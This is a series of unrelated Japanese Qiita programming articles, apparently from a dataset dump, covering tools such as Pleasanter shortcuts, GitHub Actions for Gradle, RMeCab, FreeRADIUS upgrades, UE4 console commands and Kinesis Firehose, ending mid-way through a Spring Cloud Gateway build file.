OmniAICreator/Qiita-1.07M huggingface dataset:
ささやかだけど、役に立つこと【小技紹介】

アドベントカレンダーもいよいよ今回を含めて残り7回で終わり、クリスマス当日を迎えます。
「もう12月か……」なんて思っていたら、またたく間に、もう19日です。
毎年同じことを言っている気もしますが今年は特にあっという間の1年だった気がします。
そんな1年の締め括りとも言える大イベント、クリスマスに向けてラストスパート！
クリスマスには、凧を上げて駒をまわして遊ぶために頑張ります。
それでは今回も張り切って参りましょう。
申し遅れました、わたくし、ゆるふわJKです。絶対JKなので「いいね」をお願いします。

---
毎日があっという間に過ぎていくお忙しい皆様の業務を、もしかしたら少しだけ楽にできるかもしれない、そんなささやかな小技を今回はご紹介します。

## キーボードショートカット

|ショートカットキー|サイトメニュー|一覧画面|エディタ画面|
|:--|:--|:--|:--|
|`ALT` + `b`|-|-|前のレコードに移動|
|`ALT` + `n`|-|-|次のレコードに移動|
|`ALT` + `q`|上位に戻る|上位に戻る|上位に戻る|
|`ALT` + `s`|-|-|更新|
|`ALT` + `c`|-|-|コピー|
|`ALT` + `o`|-|一括移動|移動|
|`ALT` + `m`|-|-|メ－ル|
|`ALT` + `r`|-|一括削除|削除|
|`ALT` + `w`|-|インポート|-|
|`ALT` + `x`|-|エクスポート|-|

Macの場合、`ALT`キーは`control`+`option`の両押しとなりますので、例えば「前のレコードに移動」する場合は`control` + `option` + `b` となります。

`b` `n` `s` だけでも覚えておくと操作が楽になります。
ちなみに、更新のショートカットは一覧編集モードでも使えるので結構便利です。

## 一覧画面で表示条件を含めたリンクをコピーする
データ量が多くなってくると一覧画面でフィルタ条件を設定したり、ビューを切り替えたりして情報を閲覧する機会も増えてきます。
複数人で同じ情報を共有できることはプリザンターの大きな強みのひとつですが、同じ画面を共有するためのフィルタ条件などを揃えないと見ている画面が異なるというケースが出てきます。

「プロジェクト管理テーブルを開いてください……」
### 担当Aさんが見ているプロジェクト管理テーブル
ビュー：簡易一覧表示　フィルタ：担当者指定・期限が近い
<img width="320" alt="スクリーンショット 2019-12-19 17.13.48.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/537390/485b1c48-3504-d2e4-3fbf-46e1b882b656.png">

### 担当Bさんが見ているプロジェクト管理テーブル
ビュー：標準　フィルタ：無し
<img width="320" alt="スクリーンショット 2019-12-19 17.14.12.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/537390/b2bf8ff6-c7bb-bf58-601f-63915cde1868.png">

「なんだか話が噛み合わない……」

開いているテーブルが同じでも、表示されている画面が違うんじゃい！！（激おこ）


これでは遠方のお客様や同僚と情報を共有するのに手間が掛かってしまいます。
あるいは、情報を取り違えてしまうこともあるかもしれません。

そんな時は、プリザンターの画面左上、パンくずリストの「トップ」左横にある、
<img width="210" alt="スクリーンショット 2019-12-19 17.17.17.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/537390/cdad9b66-c3fd-50e2-eeaa-6b068c2092f1.png">
このリンクアイコンをクリックするとフィルタ条件などを指定したURLがクリップボードにコピーされます。
そのURLを相手に伝えれば同じ画面を共有できるのです！
なんて便利なんでしょう！
URLがちょっと長くなりますが、まあ、ポケベルで送るわけじゃないので大目に見ましょう。

そんな、実は意外と知られていないかもしれない便利機能でした！

ちなみに背景が水色なのは気にしないでください。水没しているわけではありません。

---
そんなわけで、今回は小技2つのご紹介で終わりです！

ささやかすぎますが、しかも、マニュアルにも掲載されているショートカットを堂々と転載していますが、ゆるふわなので許してください。
Macでのショートカットキーについては世界初出しです！ わたしのさじ加減ひとつなんですが！

それではまた次回のゆるゆるふわふわな記事でお会いしましょう。
お読みいただきましてありがとうございました。
GitHub ActionsでGradleの自動ビルド/テストをする

# まえがき
この記事はQiita GitHub Actions Advent Calendar 2019の14日目の記事です。(カレンダー作者なのに5日の大遅刻で申し訳ない)

GitHub Actions、みなさんどう思ってるんですかね。とりあえず新しいものが気になったので触ってみたら案外いい感じだったので私は個人プロジェクトならメイン採用しようと思っています。

それはさておき、ここではGradleを使ったプロジェクトでのGitHub Actionsの利用について書いていきます。

# 本文

[動くサンプル](https://github.com/toliner/YokaiDrone/blob/master/.github/workflows/gradle-test.yml)
↑少し古いので、すでに解決したバグへの対処療法的なものが入っています

さて、GitHub ActionsでGradleの自動ビルド・テストに必要なのは主に以下の2つです。

1. JDKのインストール
1. Gradleタスクの実行

それぞれ見ていきましょう

## JDKのインストール
これはActionが存在します。[actions/setup-java](https://github.com/actions/setup-java)です。このActionを使えば一発でJDKをインストールしてくれます。


```yaml
- name: "Setup Java"
  uses: actions/setup-java@v1
  with:
    java-version: 11
```

この様な感じでjava-versionで指定したバージョンのJDKをインストールする事ができます。詳細は公式のREADME.mdを見てください。

## Gradleのタスクの実行
gradlew testを実行するくらいならコマンドを手打ちしてもいいのですが、複雑な設定をするとなると少し面倒です。そこで登場するのが[eskatos/gradle-command-action](https://github.com/eskatos/gradle-command-action)というAction。
Gradleコマンドをラップしていい感じに処理してくれます。便利。
テストコマンドの実行は以下のようにできます。

```yaml

- name: run test
  uses: eskatos/gradle-command-action@v1
  with:
    arguments: test
```

環境変数を渡す場合は以下のような感じ

```yaml
- name: run test
  uses: eskatos/gradle-command-action@v1
  with:
    arguments: test
  env:
    ACCESS_TOKEN: ${{ secrets.ACCESS_TOKEN }}
```

envセクションにkey-valueでかけます。
他の細かい機能はREADME.mdを見てください。

## 完成形

キャッシュとかの処理もするとこんな感じになります

```yaml

name: Run Gradle on PRs and Pushes
on: [pull_request, push]

jobs:
  test:
    strategy:
      matrix:
        os: [ubuntu-latest, macos-latest, windows-latest]
    runs-on: ${{ matrix.os }}

    steps:
      - uses: actions/checkout@v1

      - name: "Cache ~/.gradle/caches"
        uses: actions/cache@preview
        with:
          path: "~/.gradle/caches"
          key: ${{ runner.os }}-gradle-${{ hashFiles('**/build.gradle.kts') }}
          restore-keys: ${{ runner.os }}-gradle-

      - name: "Setup Java"
        uses: actions/setup-java@v1
        with:
          java-version: 11

      - name: run test
        uses: eskatos/gradle-command-action@v1
        with:
          arguments: test
        env:
          ACCESS_TOKEN: ${{ secrets.ACCESS_TOKEN }}

      - name: Upload artifact
        uses: actions/upload-artifact@v1.0.0
        with:
          name: test-result-${{ matrix.os }}
          path: build/reports/tests
```

ちなみにGradleのキャッシュは`~/.gradle`ディレクトリを丸々指定するとGradle WrapperによってダウンロードされたGradleのファイルもキャッシュされるんですが、GitHub Actionsのキャッシュの容量上限的にライブラリのキャッシュとWrapperのキャッシュのどちらか一方しか入らない現状です。(それでも以前のどちらも入り切らない状況よりはマシですが)
なのでここではライブラリのキャッシュ(`~/.gradle/caches`)に絞っています。キャッシュ上限に引っかからないためにも、依存ライブラリのバージョンが上がるたびにキャッシュがリセットされるように、キャッシュのkeyに用いている`hashFiles()`の中に依存ライブラリのバージョンを記述しているファイルをすべて入れておいたほうがいいでしょう。

# 最後に
ほぼほぼ「使える既存のActionを紹介する」だけの記事になりましたがどうでしょうか。価値あるんですかね。
最後のキャッシュに関する戦略についても、私はまだ初心者なので強い人いたら教えてもらえるとありがたいですね。

ところでこの記事を読んでいる人にはあまり関係はなさそうですが、[私のバイト先の会社](https://www.wantedly.com/companies/justincase)がフロントエンドエンジニアの募集に力を入れているみたいなので興味のある方はどうぞ(当然アプリ/バックエンドのエンジニアの募集もあります)(弊社はCircle CIを使っています)
部内プロコンでチャットアプリを作った話

# 豊田高専Advent Calender　20日目

## チャットアプリを作った。

Firebaseを使って、シンプルなチャットアプリを作りました。

[作ったアプリ](https://yuruchat.web.app/)

## どう作ったか

Firebaseがほぼすべてやってくれるので、だれでも簡単にチャットアプリが作れます。
GitHubにFirebase/Friendly-Chatがあるのでそれをクローンして、Codelabみながら実装しました。

## 反省と感想

2週間でまだ慣れていない技術を使うのは難しく、また応用したいと思っていたこともできなかったので、今度はそこそこ長めの期間で開発したいです。
docMatrixからメタ情報を削除する関数

# 1. 趣旨
Rでテキストデータの解析（形態素解析）をやるときのおはなし。
RMeCabというパッケージを利用して、文書行列を作成する関数`docMatrix()`を実行すると、出力結果にメタ情報が入力される仕様になってます。このメタ情報、入っている状態だと分析できないのですが、「必要ないなら自分で消してくれ」という警告文が流れてきます。

```R
> docMatrix("folder", minFreq = 2) %>% print
file = folder/2018.txt
file = folder/2019.txt
Term Document Matrix includes 2 information rows! 
whose names are [[LESS-THAN-2]] and [[TOTAL-TOKENS]]
if you remove these rows, run
result[ rownames(result) !=  "[[LESS-THAN-2]]" , ]
result[ rownames(result) !=  "[[TOTAL-TOKENS]]" , ]
                                docs
terms                            2018.txt 2019.txt
  .                                  3           0
  [[LESS-THAN-2]]                  170         200
  [[TOTAL-TOKENS]]                 830        1016
  11                                 2           0
 
```

だったら、初めからメタ情報を削除した状態で出力してくれる関数作っちゃえば楽じゃね？
ということで、超簡単な関数を作りました。いわゆるラッパー関数（Wrapper）ってやつです。


#2. 関数を定義

`docMatrixx()`という関数を定義してみます。
本家`docMatrix()`より1つだけ「x」が多いです。

```R
docMatrixx <- function(folder_name, minFreq = 1){
  lessthan <- paste("[[LESS-THAN-",minFreq,"]]") %>% gsub(" ","",.)
  resultMatrix <- docMatrix(folder_name, minFreq = minFreq)
  resultMatrix <- resultMatrix[rownames(resultMatrix) != lessthan, ]
  resultMatrix <- resultMatrix[rownames(resultMatrix) != "[[TOTAL-TOKENS]]", ]
}
```
おまけで、たまーに使う`minFreq`引数も使えるようにしました。



#3. 実行してみた。

```R
# 必要なパッケージは予め読み込んでおいてください
library(RMeCab)
library(dplyr)

#第一引数はディレクトリ名、第二引数は単語の最低頻度の指定です
#第一引数はディレクトリ名、第二引数は単語の最低頻度の指定です
> docMatrixx("folder",2) %>% print()
file = folder/2018.txt
file = folder/2019.txt
Term Document Matrix includes 2 information rows! 
whose names are [[LESS-THAN-2]] and [[TOTAL-TOKENS]]
if you remove these rows, run
result[ rownames(result) !=  "[[LESS-THAN-2]]" , ]
result[ rownames(result) !=  "[[TOTAL-TOKENS]]" , ]
                          docs
terms                      2018.txt 2019.txt
  .                                  3           0
  11                                 2           0
```
メタ情報の`[[LESS-THAN-2]]`も`[[TOTAL-TOKENS]]`も、行列からちゃんと消えました。

# 4. おわりに
メタ情報のない状態で行列を出力できるので、そのまま分析にかけることができるようになりました。
本家の`docMatrix()`にはもっと沢山の引数が設定されているので、必要であれば関数の定義をいじくって拡張すれば、他の引数にも対応できるはずです。

おしまい。
公式ドキュメントリンク集

開発の際によくお世話になる公式ドキュメントのリンクメモです。
よく使うライブラリのドキュメントなども含んでいます。

## フロントエンド
### 全般
* [MDN](https://developer.mozilla.org/ja/)
    * [MDN - Javascript](https://developer.mozilla.org/ja/docs/Web/JavaScript)
    * [MDN - HTML](https://developer.mozilla.org/ja/docs/Web/HTML)
    * [MDN - CSS](https://developer.mozilla.org/ja/docs/Web/CSS)
* [Font Awesome](https://fontawesome.com/icons?d=gallery)
* [Bootstrap](https://getbootstrap.com/)
* [Moment.js](https://momentjs.com/)
* [axios](https://github.com/axios/axios)
  * PromiseベースのHTTPクライアントライブラリ
* [Semantic-UI](https://semantic-ui.com/)

### Vue.js
* [Vue.js](https://jp.vuejs.org/)
* [Nuxt.js](https://ja.nuxtjs.org/)
* [Vue Router](https://router.vuejs.org/ja/)
* [Vuex](https://vuex.vuejs.org/ja/)
* [Vue-MultiSelect](https://vue-multiselect.js.org/)
    * Vue.js での開発時によく使うセレクトボックスのライブラリ
* [vuejs-datepicker](https://github.com/charliekassel/vuejs-datepicker)
    * Vue.js での開発時によく使う日付ピッカーのライブラリ
* [vue-moment](https://www.npmjs.com/package/vue-moment)
* [Vue CLI](https://cli.vuejs.org/)
* [Bootstrap Vue](https://bootstrap-vue.js.org/docs)

### 商用利用可能な画像
* ドキュメントではないですが、画面をデザインする時によく使わせていただいているサイト
  * [いらすとや](https://www.irasutoya.com/)
  * [PAKUTASO](https://www.pakutaso.com/)

## バックエンド
### Java
* [Spring Initializr](https://start.spring.io/)
  * SpringBootプロジェクト作成用

### Python
* [Django](https://docs.djangoproject.com/ja/3.0/)

## その他
### Asciidoctor
* [Asciidoctor 文法クイックリファレンス](https://takumon.github.io/asciidoc-syntax-quick-reference-japanese-translation/)
* [Asciidoctor Gradle Plugin](https://asciidoctor.org/docs/asciidoctor-gradle-plugin/)
  * gradleビルド時の設定内容に関して書かれている
* [Asciidoctor PDF Theming Guide](https://github.com/asciidoctor/asciidoctor-pdf/blob/master/docs/theming-guide.adoc)
  * PDF変換時のスタイル設定に関して書かれている

### OpenAPI
* [OpenAPI Specification](https://github.com/OAI/OpenAPI-Specification)
* [OpenAPI.Tools](https://openapi.tools/)

### PlantUML
* [PlantUML](https://plantuml.com/ja/)
Euler tour

# Euler tour
木の隣接する頂点をrootから辿っていき、全ての頂点を通る経路を求める。
葉以外の頂点は2回以上通ることとなる。

```python
from collections import defaultdict, deque, Counter


def euler_tour(G, root=0):
    n = len(G)
    euler = []
    dq = deque([root])
    dq2 = deque()
    visited = [0] * n
    while dq:
        u = dq.pop()
        euler += [u]
        if visited[u]:
            continue
        for v in G[u]:
            if visited[v]:
                dq += [v]
            # [親頂点、子頂点、子頂点、。。。]と入れていく.その後連結
            else:
                dq2 += [v]
        dq.extend(dq2)
        dq2 = deque()
        visited[u] = 1
    return euler

```
colorful tree
https://atcoder.jp/contests/abc133/submissions/9015885
クエリ先読み、lcaなども含まれる盛りだくさんな問題。
python　タイムゾーンの追加

# やりたかったこと。
時刻データが日本時間ではなく、かつタイムゾーンも設定されていない情報に、
日本時間を加えて、日本時間で処理したいと思った。

# 引っかかったこと。
タイムゾーンの追加されていない Timestampオブジェクトにタイムゾーンを追加することを調べるのに、
多少苦労したというか、いろんなやり方が言われたり、使えなかったり、使えても非推奨だったりとめんどくさかったので

# コード
これ。以上。

```
# add timezone
dfdate = dfdate.tz_localize('UTC')
print(dfdate) 
# > 時間は変わらず、標準時間をタイムゾーンが追加された日付が表示される。

dfdate = dfdate.astimezone('Asia/Tokyo')
print(dfdate)
# > 時刻が日本時間に代わり（+9時間）、タイムゾーンも追加されたものが表示
```

pythonは日付データの取り扱いがなんかややこいということがわかった。
Rails, Dockerのマルチステージビルドに失敗した時の対応

## 問題
- dockerのマルチステージビルドにて`bundle install`の内容をコピーしていた
    - `COPY --from=builder /usr/local/bundle /usr/local/bundle`
    - ここについての詳細は、Railsのdockerイメージを小さくする方法などで調べてください
- `Bundler 2.1.1`, `RubyGem 3.1.1`がリリースされたことで、dockerビルド時のバージョンが勝手にアップデートされ、Railsが起動できなくなった

## 対応
- `/usr/local/lib` もコピーする

```Dockerfile
COPY --from=builder /usr/local/lib /usr/local/lib
COPY --from=builder /usr/local/bundle /usr/local/bundle
```

## 詳細
### エラーの詳細
- nokogiriなどの `with native extension` なgemが全て読み込まれなくなっていた
  - 以下のようなエラーが発生
     - bundle実行時
         - `Could not find nokogiri-1.10.7 in any of the sources`
     - `gem list`など実行時
         - `Ignoring nokogiri-1.10.7 because its extensions are not built. Try: gem pristine nokogiri --version 1.10.7`

### 対応について
- `/usr/local/lib` をコピーしたものとしていないものを比較すると、`/usr/local/lib/ruby/site_ruby`の容量が変わっていたため、このあたりにnative extension周りのものが含まれると思われる(ここの詳細はわかっていません)
    - `/usr/local/lib`ではなく、`/usr/local/lib/ruby`のみのコピーでも動作可能
    - `/usr/local/lib/ruby`配下は`site_ruby`以外に容量の変化はなかったため、`/usr/local/lib/ruby/site_ruby`まで指定する必要はないように思われる
Local環境での環境変数の設定場所〜コマンド〜

# はじめに
環境変数書くのってどこやっけ？
コマンドなんやっけ？
って割りとなるので、備忘録的な感じに書きます

# コマンド
自分のterminalがbashなのかzshrcなのかで変わります。

```terminal:terminal
$ vim ~/.bash_profile
$ vim ~/.zshrc
```

見分け方は、terminal開いて上を見ればわかります
<img width="890" alt="スクリーンショット 2019-12-19 17.41.53.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/522204/0594399b-fd07-e01d-bc84-078393de33fd.png">

開いた後に環境変数を書いてやれば完了です
FreeRADIUSのversion2とversion3のおおまかな差分について

# 概要
既存サーバのOS(RHEL6)のサポート期限が迫っているため、更改でUPDATEすることに。
FreeRADIUSもversion2→3へ変更するため、設定ファイルがどのように変更されているかなど調査することとなった。
ファイル名やもともとのファイルにあった内容が一部別のファイルに移動しているなど、
変更点が割と多かったため備忘録を作成。

# 環境
- RHEL 7.6 
- FreeRADIUS : 3.0.13

# そもそもRADIUSって？
Radius（Remote Authentication Dial In User Service）は、ネットワーク上のユーザ認証プロトコルの1つ。
Radiusは、電話回線でダイヤルアップ接続の方式を利用するユーザに対してインターネット接続を実現するための認証プロトコルとして当初は使用されていた。
ユーザ認証だけでなくネットワークの接続時間やデータ量の情報も収集できるため、ISPなどでは認証ユーザの課金などでも利用していた。
現在では無線LANや有線LANでのネットワーク接続時のユーザ認証のプロトコルとしても利用されている。

# FreeRADIUSとは
FreeRADIUSとは、RADIUSプロトコルを実装したオープンソースソフトウェアである。
FreeRADIUSには、RADIUSサーバ、RADIUSクライアントライブラリなどが含まれている。
EAP-TLS、EAP-TTLSなどにも対応しており、RADIUSサービスを提供するために十分な機能が実装されている。

# 各種ディレクトリについて
FreeRADISU(version3)をインストールすると、`/etc/raddb`ディレクトリに設定ファイル群が存在する。

- **raddbディレクトリ**
いくつかのサブディレクトリがあり、各サブディレクトリには特定の目的のためにグループ化されたファイルが含まれている。

- **mods-availableディレクトリ**
すべてのモジュール構成が記載されており、サンプル設定も含まれている。
サンプル設定には、サーバーに付属している多くのモジュールが含まれるが、個々の設定で有効になっていない場合がある。
(version2の/etc/raddb/modulesが相当)

- **mods-enabledディレクトリ**
有効化されたモジュールの構成が含まれ、サーバーの実行構成で使用される。
多くの場合、ここのファイルはmods-availableディレクトリにあるファイルへのリンクになる。

- **mods-config ディレクトリ**
多くのモジュール用の追加構成ファイルが含まれる。
これらのファイルには、Perl スクリプト、SQL スキーマなどが含まれる。

- **sites-availableディレクトリ**
サンプル "仮想サーバー" が含まれる。これらのほとんどは使用されない。
これらは、ドキュメントおよび "ベスト プラクティス" の例として存在する。

- **sites-enabledディレクトリ**
サーバーで使用されている "仮想サーバー" の構成が含まれる。

# 各種設定ファイルについて
version2から3になったことにより、多数の設定ファイルが変更・統合されている。
ここでは今回調査する必要があったファイルのみ記述する。
特に場所の変更や統合されていないものに関しては割愛する。

- **radius.conf**
 - listen{}セクションが`sites-available/default`ファイルへ移動

- **client.conf, proxy.conf**
 - limit{}セクションが追加  
 (proto変数が指定されている時に使用される)

- **sql.conf**
ロケーション：`/etc/raddb/sql.conf` → `/etc/raddb/mods-available/sql`
 - driver変数に指定できるパラメータの種類の増加
 - INCLUDEするdriver設定が  
   `$INCLUDE sql/${database}/dialup.conf`から  
   `$INCLUDE ${modconfdir}/${.:name}/main/${dialect}/queries.conf`  
   に変更
 - dialect変数はsqlファイル内で設定。デフォルトはsqlite 

- **policy.conf**
ロケーション：`/etc/raddb/policy.conf` → `/etc/raddb/policy.d/canonicalization`
 - もともとpolicy.conf内で定義されていたeap,cui,filter等の設定が/etc/raddb/policy.d内に外だしされた。

```
# pwd
/etc/raddb/policy.d
# ls
accounting  canonicalization  control  cui  debug  dhcp  eap  filter  operator-name
```
 
- **users**
ロケーション：`/etc/raddb/users` → `/etc/raddb/mods-config/files/authorize`  
(/etc/raddb/usersに/etc/raddb/mods-config/files/authorizeのリンクが張られている)

# モジュールの有効化について
mods-available内で定義したファイルは、定義するだけでは適用されない。
適用するためには、mods-availableの定義ファイルをmods-enable内へリンクを張る必要がある。
(radius.confで`mods-enabled/`をINCLUDEしているため)
例:sqlモジュールのリンク

```
# cd /etc/raddb/mods-enable/
# ln -s ../mods-available/sql
```

sites-availableについても同様にリンクを張る必要がある

# 参考
[FreeRADIUS/Wiki](https://wiki.freeradius.org/Home)
[FreeRADIUS 'man' pages](https://freeradius.org/radiusd/man/unlang.html)
[Upgrading to Version 3.0](https://networkradius.com/doc/current/upgrading/)
[【第1回】高機能認証サーバー (FreeRADIUS)](https://www.nttpc.co.jp/technology/free_radius.html)
[FreeRADIUSとは](https://www.designet.co.jp/faq/term/?id=RnJlZVJBRElVUw)
[UE4] Android開発でお馴染みの4点タップで表示されるウィンドウ内のConsole Commandのリストをカスタムしよう！

#はじめに
![Screenshot_20191219-172016.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/363889/b381e54d-b9fb-5d38-db15-f3c89df3679c.png)
![Screenshot_20191219-172019.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/363889/00f66f29-bb2b-3b5f-abc8-f6f696677cc6.png)
モバイル端末の場合、4本の指で画面を同時にタップするとConsole Commandを入力するためのConsole Windowが表示されます。更にAndroidの場合は以下のConsole Commandのリストから選択し実行することが可能です。

- stat FPS 
- stat Anim
- stat OpenGLRHI
- stat VulkanRHI
- stat DumpEvents
- stat DumpFrame
- stat DumpHitches
- stat Enginestat Game
- stat Groupedstat Hitches
- stat InitViews
- stat LightRendering
- stat Memorystat Particles
- stat SceneRendering
- stat SceneUpdate
- stat ShadowRendering
- stat Slow
- stat Streaming
- stat StreamingDetails
- stat Unit
- stat UnitGraph 
- stat StartFile 
- stat StopFile 
- GameVer 
- show PostProcessing 
- stat AndroidCPU

用意されているConsole Commandはどれも有用なので助かるのですが…別のConsole Commandを使いたい時もしばしばあります。そして、そのためだけにデバッグメニューを作るのは面倒です。また、最近追加された [Device Output Log](https://qiita.com/EGJ-Yutaro_Sawada/items/d59440b1ca7ecd65e4b9)を活用する手もありますが、端末単体で完結したいケースもあるかと思います。

ということで、今回はこのConsole Windowに用意されたリストにConsole Commandを追加する方法についてご紹介します。

# Console WindowにConsole Commandを追加する方法

```java:GameActivity.java
	// Console
	private static final String CONSOLE_SPINNER_ITEMS[] = {"Common Console Commands", "stat FPS", "stat Anim","stat OpenGLRHI","stat VulkanRHI","stat DumpEvents","stat DumpFrame",
		"stat DumpHitches","stat Engine","stat Game","stat Grouped","stat Hitches","stat InitViews","stat LightRendering",
		"stat Memory","stat Particles","stat SceneRendering","stat SceneUpdate","stat ShadowRendering","stat Slow",
		"stat Streaming","stat StreamingDetails","stat Unit","stat UnitGraph", "stat StartFile", "stat StopFile", "GameVer", "show PostProcessing", "stat AndroidCPU"};
```

Console Commandのリストは GameActivity.java で上記のようにして設定されています。

そして、この```GameAcitivity.java```は「パッケージング」または「起動」の度に ```Engine\Build\Android\Java\src\com\epicgames\ue4\GameActivity.java.template``` をベースに再生成されます( ```UEDeployAndroid.cs``` の ```UpdateGameActivity```関数参照 )。

```java:GameActivity.java.template
	// Console
	private static final String CONSOLE_SPINNER_ITEMS[] = {"Common Console Commands", "stat FPS", "stat Anim","stat OpenGLRHI","stat VulkanRHI","stat DumpEvents","stat DumpFrame",
		"stat DumpHitches","stat Engine","stat Game","stat Grouped","stat Hitches","stat InitViews","stat LightRendering",
		"stat Memory","stat Particles","stat SceneRendering","stat SceneUpdate","stat ShadowRendering","stat Slow",
		"stat Streaming","stat StreamingDetails","stat Unit","stat UnitGraph", "stat StartFile", "stat StopFile", "GameVer", "show PostProcessing", "stat AndroidCPU",
		"ぼくのかんがえたさいきょうのこまんど"};
```

そのため、```GameActivity.java.template```に対して上記のような変更を加えると…(エンジンビルド不要です)
![Screenshot_20191219-175416.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/363889/a8cd52cb-1d6d-2e9c-2ae2-fcff99029e6f.png)
このようにConsole Commandのリストに反映されます（見切れてる！）

是非色々カスタムしてみてください！
おしまい
AWS初心者がFirehoseを使ってみたので感想

[Fringe81アドベントカレンダー2019](https://qiita.com/advent-calendar/2019/fringe81
)の20日目です。
tuaaasa a.k.a ちゃりがお送りします。

始めに述べておきますが、私は半年ほど前からAWSを使い始めた初心者です。

そんな私が先日業務内で、
`AWS Kinesis`の機能の一つである`Kinesis Data Firehose`に触れました。
今回はその感想をまとめます。
CloudFormationを用いてデプロイしたので、合わせてそちらも話します。

# Kiensis

https://aws.amazon.com/jp/kinesis/
より以下抜粋

> ストリーミングデータをリアルタイムで収集、処理、分析することが簡単になる

また、完全マネージドサービスなので、ストリームデータをKinesisに任せちゃえばいい感じにやってくれます。

## 本題のFirehose

https://aws.amazon.com/jp/kinesis/data-firehose/
より以下抜粋

>ストリーミングデータをデータレイクやデータストア、分析ツールに確実にロードする最も簡単な方法です。
> ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/376573/eb17486a-d376-8f50-fe1f-573959b46646.png)

今回私は`Redshift`にロードしました。

# 嬉しいこと

#### 完全マネージドサービスのおかげで、難しいことを考える必要がなかった
データロードの重複防止とかエラー時のリトライとか、煩わしいことをFirehoseがやってくれる点非常に助かりますね。
また、エラーログも残してくれるのもうれしいです。

# つらいこと

#### Redshiftへのパブリックアクセスを可能にしてあげなければいけない

[Amazon Redshift クラスターへの VPC アクセス](https://docs.aws.amazon.com/ja_jp/firehose/latest/dev/controlling-access.html#using-iam-rs-vpc)

これですね。

#### 不正データが1件でも入ってくると直近の正常なデータも全て欠損してしまう

FirehoseでRedshiftにロードする場合、

1. 一旦S3にアップロード
2. `manifest`という複数のデータを一つにまとめたデータの集合を作成
3. `manifest`をCOPYコマンドでロード

という形をとっています。
これのおがげで不正データが含まれる`manifest`はエラー対象となりロードされないのですね。

##### 対処法
1回COPYコマンドあたり、1万件まではエラー処理させないオプションを追加することで正常なデータのみロードさせました。

![スクリーンショット 2019-12-19 16.52.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/376573/15ce09fa-b3c0-329d-37b7-bd6ca67c9381.png)

ただ、**1万1件目はエラーとなってしまう**のと、
**不正データの内容がFirehoseでロギングできない**ことには注意が必要です。


# おまけ
#### CloudFormationで設定できない項目がある

RedshiftにロードするためのS3アップロードとは別に、
ストリームデータのバックアップができる。

現在()この機能をCloudFormationでは設定できない模様。(以下2019年10月15日に返答されたサポートメールの内容)

> <img width="815" alt="Screen Shot 2019-12-03 at 18.06.33.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/376573/0068b2b7-fdbb-0f1b-b96f-582de4ffa12e.png">


# おわり
実際に稼働していないので、実績ができたらまた報告しようかなと思います。
ありがとうございました。



# 参考
[CloudWatch LogsのログをprivateなVPCにあるRedshiftに投入](https://qiita.com/akym03/items/abb8844aba492e2cbd3b)
[AWS Kinesis Firehoseでログ欠損しないために](https://medium.com/finc-engineering/aws-kinesis-firehose%E3%81%A7%E3%83%AD%E3%82%B0%E6%AC%A0%E6%90%8D%E3%81%97%E3%81%AA%E3%81%84%E3%81%9F%E3%82%81%E3%81%AB-ab262c9ca9fc)
Transition まとめ


## `transition` とは

直訳すると変化や移り変わりという意味で、変化するまでの時間を設定するプロパティのこと。
transitionは、**ショートハンドプロパティ**を含め5つのプロパティがある。

|プロパティ名 | 説明 |
|:--|:--|:--|
| transition-duration  | 変化が始まって終わるまでの時間を指定。 |
| transition-property  | 変化が適用されるCSSのプロパティを指定。 |
| transition-timing-function | 変化の度合いを指定。 |
| transition-delay | 変化が始まる時間を指定。 |
| transition | 上記の4つのプロパティを一括で指定できる、ショートハンド・プロパティ。 |

これを**ショートハンドプロパティ** にて書くと下記。

```app.css

.sample {
  transition: all 3s ease
}

```

`all` : transition対象のcssプロパティ allの場合は全て
`3s` : 変化の始まりから終わりまでの時間
`ease` : 変化の仕方
&emsp;&emsp;&emsp;&emsp;**ease** :（初期値）開始時と終了時は緩やかに変化
&emsp;&emsp;&emsp;&emsp;**linear** :開始から終了まで一定に変化
&emsp;&emsp;&emsp;&emsp;**ease-in** :開始時は緩やかに変化、終了に近づくと早く変化
&emsp;&emsp;&emsp;&emsp;&emsp;**ease-out** :開始時は早く変化し、終了時は穏やかに。

```app.css

/* 1つのプロパティへの適用 */
/* プロパティ名 | 時間 */
transition: margin-right 4s;

/* 2つのプロパティへの適用 */
transition: margin-right 4s, color 1s;

```

## `transition-duration` プロパティ

値は、秒数またはミリ秒数で指定します。

| 指定できる単位 | 日本語 | 秒で換算 |
|:--|:--|:--|
| s | 秒 | 1sは1秒 |
| ms | ミリ秒 | 1msは1000分の1秒 |

## `transition-property` プロパティ

| 値 | 説明 |
|:--|:--|
| all（初期値） | トランジションの効果を適用できる全てのプロパティを指定します。 |
| none | どのプロパティも変化しません。 |
| プロパティ名 | トランジションを適用するプロパティ名を指定します。カンマ区切りで複数指定すること可能です。 |

## `transition-timing-function ` プロパティ

| 値 | 説明 | 
|:--|:--|:--|
| ease（初期値） | 開始時と終了時は緩やかに変化します。 | 
| linear | 開始から終了まで一定に変化します。 | 
| ease-in | 開始時は緩やかに変化、終了に近づくと早く変化します。 | 
| ease-out | 開始時は早く変化し、終了時は緩やかに変化します。 | 
| ease-in-out | 開始時と終了時は、かなり緩やかに変化します。 |
Spring Cloud Gatewayを使ってルーティングの設定をしてみた

# 概要
Spring Cloud Gateway を使った設定を行ったときのメモ

# 環境
* SpringBoot：2.1.9.RELEASE

# 詳細
* [Spring Initializr](https://start.spring.io/) から SpringBootのプロジェクトを作成
  * Dependencies に ```Gateway``` を設定してプロジェクトを作成する
* 作成したプロジェクトの ```build.gradle``` は以下のような内容で生成されているはず

```gradle:build.gradle
plugins {
    id 'org.springframework.boot' version '2.1.9.RELEASE'
    id 'io.spring.dependency-management' version '1.0.8.RELEASE'
    id 'java'
}

group = 'com.ap.itopics'
version = '0.0.1'
sourceCompatibility = '1.8'

repositories {
    mavenCentral()
}

ext {
    set('springCloudVersion', "Greenwich.SR3")
}

dependencies {
    implementation 'org.springframework.cloud:spring-cloud-starter-gateway'
    testImplementation 'org.springframework.boot:spring-boot-starter-test'
}

dependencyManagement {
    imports {
